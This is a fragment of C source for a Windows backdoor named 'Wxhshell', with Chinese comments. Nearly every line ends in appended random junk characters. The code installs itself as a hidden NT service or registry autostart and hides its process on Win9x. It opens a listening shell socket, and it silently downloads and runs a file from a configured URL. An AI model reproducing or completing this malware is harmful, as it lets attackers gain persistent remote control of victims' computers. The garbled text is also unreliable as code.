DWORD AffinityMask; >O9o,o/6R
DWORD BasePriority; 3uu~p!2
ULONG UniqueProcessId; fU3`v\X
ULONG InheritedFromUniqueProcessId; BKa-
k!
} PROCESS_BASIC_INFORMATION; t+r:"bb
Uh1NO&i.W
PROCNTQSIP NtQueryInformationProcess; /e}#'
H
[k$*4u>
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z=5qX2fy1*
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g?v\!/~(u
V! |qYM.
HANDLE hProcess; wXjFLg!g?
PROCESS_BASIC_INFORMATION pbi; |WryBzZ>on
1_'? JfY-
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IxR?'
if(NULL == hInst ) return 0; !}+tdT(y
|H}m 4-+*
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8N%Bn&
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h_d +$W5
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
'uDjFQX
_lKZmhi
if (!NtQueryInformationProcess) return 0; R
#]jSiS
ZPN
roCK`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y;?ie]3G
if(!hProcess) return 0; Z+`{ 7G?4m
hd V1nS$
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `cQo0{xK
:4S%'d7
CloseHandle(hProcess); RC|!+TD
w=h1pwY
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mV73
\P6K
if(hProcess==NULL) return 0; Zc
|/{$>:W
SQ,?N
XZ
HMODULE hMod; S_T^G` [
char procName[255]; $uui:wU%Q
unsigned long cbNeeded; \k`n[{
@pI5lh
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {y] mk?j
YJS{i
CloseHandle(hProcess); GSoZx0
dUgrKDNyA
if(strstr(procName,"services")) return 1; // 以服务启动 K'iIJA*Sn
M}_i52
return 0; // 注册表启动 8By,#T".
} I]Tsz'T!9
?T_3n:
// 主模块 *?+V65~dW
int StartWxhshell(LPSTR lpCmdLine) _ 7PMmW@
{ "xMD,}+5$$
SOCKET wsl; 3QSZ ZJ
BOOL val=TRUE;
o47r<>t
int port=0; 6+V\t+aug
struct sockaddr_in door; M'`;{^<
=Cv/Y%DN
if(wscfg.ws_autoins) Install(); U7xmC
G Ejd7s]C
port=atoi(lpCmdLine); FVv8--
kVI#(uO
if(port<=0) port=wscfg.ws_port; S~qZr
Y
$g$x<7
WSADATA data; }
B396X
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; SxyONp.$\
,:Vm6u!
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; PUQES(&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N3t0-6$_
door.sin_family = AF_INET; &Gm$:T'~
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?::NO Dg
door.sin_port = htons(port); #jpoHvth
xRuFuf8
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .%'(9E
closesocket(wsl); VhT=
l
return 1; %2'A
pp
} |o'Q62`%}
c8)/:xxl
if(listen(wsl,2) == INVALID_SOCKET) { 3QI?[R.
closesocket(wsl); 9 7%0;a8
return 1; cN! uV-e
} L?_7bXoD
Wxhshell(wsl); N_4eM,7t
WSACleanup(); YL
jHt\
$=sXAK9
return 0; z
sQo$p
h:XzUxL\
} Xf=XBoN|
eRbGZYrJ
// 以NT服务方式启动
|eoid?=
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?3z- _8#
{ ;;5Uwd'-
DWORD status = 0; z^o 1GY
DWORD specificError = 0xfffffff; 6Dws,_UAZ4
tC8(XMVx
serviceStatus.dwServiceType = SERVICE_WIN32; OYM@szM
serviceStatus.dwCurrentState = SERVICE_START_PENDING; d lH$yub
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; NIZ<0I*5
serviceStatus.dwWin32ExitCode = 0; HLQ"?OFlz
serviceStatus.dwServiceSpecificExitCode = 0; v/uO&iQw5
serviceStatus.dwCheckPoint = 0; `Yc_5&"
serviceStatus.dwWaitHint = 0; 8$xPex~2
fkfZ>D^1
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q<e&0u4
if (hServiceStatusHandle==0) return; >,C4rC+:XN
tc_f;S`k
status = GetLastError(); di9!lS$
if (status!=NO_ERROR) \8uo{#cL8
{ #)+- lPe
serviceStatus.dwCurrentState = SERVICE_STOPPED; 1`f_P$&Z_J
serviceStatus.dwCheckPoint = 0; ydl jw
serviceStatus.dwWaitHint = 0; ?{o/I\\
serviceStatus.dwWin32ExitCode = status; iWX c
serviceStatus.dwServiceSpecificExitCode = specificError; l2v_?j-)x
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pvWau1ArNq
return; ;SwC&.I
} CDMfa&;T
iY[+Ywh
serviceStatus.dwCurrentState = SERVICE_RUNNING; HCA{pR`
serviceStatus.dwCheckPoint = 0; FD7H@L5
serviceStatus.dwWaitHint = 0;
R)Q4
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Dkw%`(Oh/,
} ClW'W#*(Y
>hMUr*j
// 处理NT服务事件,比如:启动、停止 ~yJ4qp-
VOID WINAPI NTServiceHandler(DWORD fdwControl)
V+MK'<#B
{ /
YiQ\
switch(fdwControl) 4Wel[]
{ ~d>%,?zz
case SERVICE_CONTROL_STOP: 8"'x)y
serviceStatus.dwWin32ExitCode = 0; Q}%tt=KD
serviceStatus.dwCurrentState = SERVICE_STOPPED; AG"l1wz
serviceStatus.dwCheckPoint = 0; jdRq6U^
serviceStatus.dwWaitHint = 0; l4'~}nn(Y
{ f*((;*n;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Rz <OF^Iy
} #5CI)4x0!
return; d{+(Lpj^
case SERVICE_CONTROL_PAUSE: Qez SJ
io
serviceStatus.dwCurrentState = SERVICE_PAUSED; ^i%A7pg
break; 'E]A.3-Mt
case SERVICE_CONTROL_CONTINUE: :{g7lTM
serviceStatus.dwCurrentState = SERVICE_RUNNING; X33v:9=
break; <zB*'m
case SERVICE_CONTROL_INTERROGATE: WnxEu3U
break; _."E%|5
}; 2=*=^)FNI
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 97~K!'/^+y
} kl7A^0Qrz
s3t!<9[m
// 标准应用程序主函数 ija:H'j
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s"#]L44N
{ Q|hm1q
(i`(>I.(/
// 获取操作系统版本 ~t/JCxa
OsIsNt=GetOsVer(); hY;_/!_
GetModuleFileName(NULL,ExeFile,MAX_PATH); $C_M&O}
o" _=K%9
// 从命令行安装 7[o {9Yp&
if(strpbrk(lpCmdLine,"iI")) Install(); &sOM>^SAD
Wc'Ehyi;
// 下载执行文件 : }?{@#Z
if(wscfg.ws_downexe) { F>Jg~ FD*
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !oMt_k X
WinExec(wscfg.ws_filenam,SW_HIDE); W"sr$K2m|
} 0-xCp ~vE
&4kM8Qh
if(!OsIsNt) { TbNGgjT
// 如果时win9x,隐藏进程并且设置为注册表启动 kV)'a
HideProc(); 'DAltr<
StartWxhshell(lpCmdLine); )SiY(8y
} Y6eEGo"K.+
else 0n5UKtB
if(StartFromService()) _Y-$}KwY!
// 以服务方式启动 'Z[d7P
StartServiceCtrlDispatcher(DispatchTable); 3%IWGmye4
else zqGYOm$r
// 普通方式启动 Fk$@Yy+}e
StartWxhshell(lpCmdLine); 2V$9ei6
yiT{+;g^
return 0; `^%GN8d}nm
}